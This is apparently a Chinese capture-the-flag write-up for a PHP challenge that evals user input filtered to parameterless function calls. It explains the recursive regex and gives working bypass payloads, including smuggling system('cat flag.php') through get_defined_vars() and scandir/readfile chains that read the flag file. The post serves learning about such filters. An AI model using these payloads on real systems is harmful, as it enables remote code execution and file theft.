题目链接

页面源码

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
?>

4#\W匹配所有”非word”的字符,即[^0-9a-zA-Z] 那么[^\W]即匹配[0-9a-zA-Z] (?R)?为循环匹配搜索

循环匹配探索

在上述的扩展表达式中有一个循环模式, 特殊项(?R)提供了递归的这种特殊用法,在PRCE模式中,考虑匹配圆括号内字符串的问题

1
2
3
4
5
6
var_dump(preg_replace('/\((?R)?\)/',NULL,'((((()))()()()'));
var_dump(preg_replace('/\((?R)?\)/',NULL,'((()))()()'));
var_dump(preg_replace('/\((?R)?\)/',NULL,'((()))abc()cd()'));
// string(2) "(("
// string(0) ""
// string(5) "abccd"

也就是要进行无参函数构造

无参函数构造

1
2
3
4
5
6
7
8
9
10
11
12
getcwd();	// 获取当前路径
dirname(); // 返回路径的上层路径
chdir(); // 改变工作目录
get_defined_vars(); // 返回由所有已定义变量所组成的数组
scandir(); // 扫描当前目录
current(); // 获取数组中最先加入的元素(默认第一个)
next(); // 获取数组中下一个元素
prev(); // 获取数组中上一个元素
end(); // 获取数组中最后一个元素
readfile();get_file_contents(); // 读取文件内容
array_flip(); // 数组中键值对互换
array_rand(); // 随机获取数组中的键

法一

使用get_defined_vars

1
2
?code=print_r(get_defined_vars());&b=system('ls');
// Array ( [_GET] => Array ( [code] => print_r(get_defined_vars()); [b] => system('ls'); ) [_POST] => Array ( ) [_COOKIE] => Array ( ) [_FILES] => Array ( ) )

可以看到 [b] => system('ls');也会出现在数组中 由此,我们只要进行数组元素获取并eval即可

1
2
3
4
5
6
7
8
?code=print_r(current(get_defined_vars()));&b=system('ls');
// Array ( [code] => print_r(current(get_defined_vars())); [b] => system('ls'); )
?code=print_r(end(current(get_defined_vars())));&b=system('ls');
// system('ls');
?code=eval(end(current(get_defined_vars())));&b=system('ls');
// flag.php index.php
?code=eval(end(current(get_defined_vars())));&b=system('cat flag.php');
// 抓包或检查页面元素看到flag

法二

扫描目录 数组获取元素 读取文件内容

1
2
3
4
5
6
7
8
9
10
?code=print_r(getcwd());
// /var/www/html
?code=print_r(scandir(getcwd()));
// Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
?code=print_r(array_reverse(scandir(getcwd())));
// Array ( [0] => index.php [1] => flag.php [2] => .. [3] => . )
?code=print_r(next(array_reverse(scandir(getcwd()))));
// flag.php
?code=print_r(readfile(next(array_reverse(scandir(getcwd())))));
// flag....

或者

1
2
?code=readfile(array_rand(array_flip(scandir(pos(localeconv())))));
//随机读取文件内容
⬆︎TOP